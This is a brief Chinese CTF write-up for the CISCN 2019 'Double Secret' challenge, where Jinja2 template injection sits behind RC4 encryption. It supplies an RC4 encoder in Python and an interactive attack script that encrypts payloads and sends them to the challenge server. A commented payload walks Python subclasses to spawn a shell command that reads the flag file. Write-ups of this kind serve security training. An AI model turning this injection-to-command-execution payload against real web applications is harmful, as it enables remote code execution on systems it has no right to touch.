【CISCN 2019华东南】Double Secret

ssti相关,但是不直接,套了层RC4

先目录扫描

rc4相关脚本,模块化写好的,可以复用:

from urllib import parse


def s_init(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + ord(key[i % len(key)])) % 256  # key的中括号里面一长串是为了循环填充K盒
        S[i], S[j] = S[j], S[i]
    return S


def rc4_encode(plain_text, key):
    S = s_init(key)
    temp_data = []
    i, j = 0, 0
    for s in plain_text:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        temp_data.append(chr(ord(s) ^ k))
    return ''.join(temp_data)


def rc4_decode(cipher_text, key):
    S = s_init(key)
    temp_data = []
    i, j = 0, 0
    for s in cipher_text:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        temp_data.append(chr(ord(s) ^ k))
    return ''.join(temp_data)


def rc4_encode_url(plain_text, key):
    return parse.quote(rc4_encode(plain_text, key))


if __name__ == '__main__':
    # keys = str(input("Enter the key: "))
    keys = 'HereIsTreasure'
    plain = input("Enter the plain text: ")

    print("The encoded text is: " + rc4_encode_url(plain, keys))

攻击脚本:

import requests
from rc4 import rc4_encode_url

url = 'http://node4.anna.nssctf.cn:28142/secret?secret='

while 1:
    key = 'HereIsTreasure'
    payload = input("Payload:")
    # payload = "{{''.__class__.__mro__[2].__subclasses__()[239]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}"
    encoded_payload = rc4_encode_url(payload, key)
    response = requests.get(url + encoded_payload)
    print(encoded_payload + '\n')
    print(response.text)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值